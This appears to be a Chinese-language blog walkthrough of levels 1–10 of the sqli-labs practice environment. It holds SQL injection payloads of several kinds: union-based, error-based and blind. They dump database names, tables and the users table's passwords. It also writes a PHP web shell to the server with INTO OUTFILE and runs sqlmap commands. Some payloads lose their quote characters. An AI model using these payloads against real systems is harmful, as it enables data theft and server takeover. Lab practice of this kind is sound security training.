ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

sqli-labs第1-10关

sqli-labs第1-10关 Less1?id1 order by 3 --?id1 ordeer by 4 --报错说明有个3字段让这3个字段显现?id-1 union select 1,2,3--只有23位显现现在查数据库表行数据查所有数据库?id-1union select 1,group_concat(schema_name),from information_schema.schemata--查security的所有表名:?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity--查user表的所有数据?id-1%27%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_nameusers --?id-1 union select 1,group_concat(username,|,password),3 from users--Less2?id1 and 11?id1 and 12查数据库?id-1 union select 1,group_concat(schema_name),3 from information_schema.schemata查表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity查行查数据?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusersLess3?id1) and 11 --?id1) and 12 --查数据库?id-1) union select 1,group_concat(schema_name),3 from information_schema.schemata--查表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --查数据?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers --Less4?id-1) union select 1,group_concat(schema_name),3 from information_schema.schemata -- 最初就是不断尝试用 ) 一般都是这几个然后尝试 ?id1),只要界面变化就有可能是我是这样判断的Less5(报错注入)?id1?id1主要是正常界面它都没有回显点不像1234关那样那就用报错注入?id1 and updatexml(1,0x7e,1) --固定模板 ?id1 and updatexml(1,concat(0x7e,(子查询),0x7e),1) -- ?id1 and extractvalue(1,concat(0x7e,(你的子查询),0x7e)) --报错注入限制一定要记updatexml报错输出最多32 字符不能直接 group_concat要用limit n,1逐条爆extractvalue最多31 字符同样不能直接 group_concat子查询必须用括号包裹(select xxx from xxx)updatexml / extractvalue→ 放在and后面作为 where 条件不管原查询多少字段payload 不用改?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 0,1),0x7e),0x7e)--写法含义 limit 0,1取第 1 行 limit 1,1取第 2 行 limit 2,1取第 3 行 limit 3,1取第 4 行 limit 4,1取第 5 行 limit 0,1表示第一行第一个把0变化为12345等就能爆出数据库查数据库改limit就能遍历数据库了在此查security?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 6,1),0x7e),0x7e)--查表?id1 and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),0x7e),0x7e)--修改limit 0,1 为limit 6,1找到users表查数据?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 0,1),0x7e),0x7e) -- ?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 1,1),0x7e),0x7e) -- ?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 2,1),0x7e),0x7e) --?id1 and updatexml(1,concat(1,(select username from users limit 0,1),0x7e),0x7e)--Less6(报错注入)?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 0,1),0x7e),0x7e)--Less7(文件读写)要求文件读写条件1.文件读写注入条件secure_file_priv2.magic_quotes_gpcOff3.要知道服务器的绝对路径4.登录账户具有root权限读取文件load_file()用法select load_file(D://password.txt),表示读取D盘下的password.txt文件写文件into outdile()利用写文件写入木马?id1))找到闭合方式为))写入一句话木马?id-1)) union select 1,2,?php phpinfo();? into outfile D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php --访问shell.php看有没有被解析windows必须使用\\或者/或者自己在服务器上面写一句话木马文件然后上传这样成功率高一点因为在url里面写入容易被转义。?id-1)) union select 1,2,127.0.0.1/shell.php into outfile D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php --Less8(布尔盲注)函数介绍 ascii(str) #返回字符串的 ASCII 码 length(str) #返回字符串的长度 mid(str,index,j) #返回str的从index开始后的j位(index是从1开始的) substr(str,index,j) #和mid功能一样?id1 and 11--?id1and 12--只有and后面条件判断为true时才有回显猜出数据库的长度 ?id1and length(database())8--从0-8发现数据库的长度为8猜数据库名 ?id1and ascii(mid(database(),1,1))115--这里可以使用bp爆破还可以用sqlmap跑我们演示一下sqlmappython sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id1 --batch --dbsLess8 是单引号布尔盲注sqlmap 会自动去探测闭合符号不要自己提前加id1参数解释-u目标 URL参数写原始正常值id1--batch全部默认 yes 自动确认不用手动输入 y--dbs爆破所有数据库名Less9(延时注入)?id1and 12-- ?id1and 11-- ?id1and 11--多种注入方式回显都一样尝试延时注入利用函数 if(条件,a,b) #当条件为真返回a,否则返回b sleep(8) #进程睡眠5秒?id1and if(length(database())8,sleep(7),1)--确实延时了7秒猜数据库名 ?id1and if(ascii(mid(database(),1,1))115,sleep(5),1)--确实延迟了5秒这里都可以用爆破但是用sqlmap块些延时盲注也能用sqlmap跑Less10(延时注入)也是怎么尝试都没反应就想到延时注入用这个方法测出注入点 ?id1and if(length(database())8,sleep(5),1)--用sqlmap跑......等待结果就可以文章参考2025 sqli-labs通关流程 手把手教 详细讲解_sqlilabs-CSDN博客
返回列表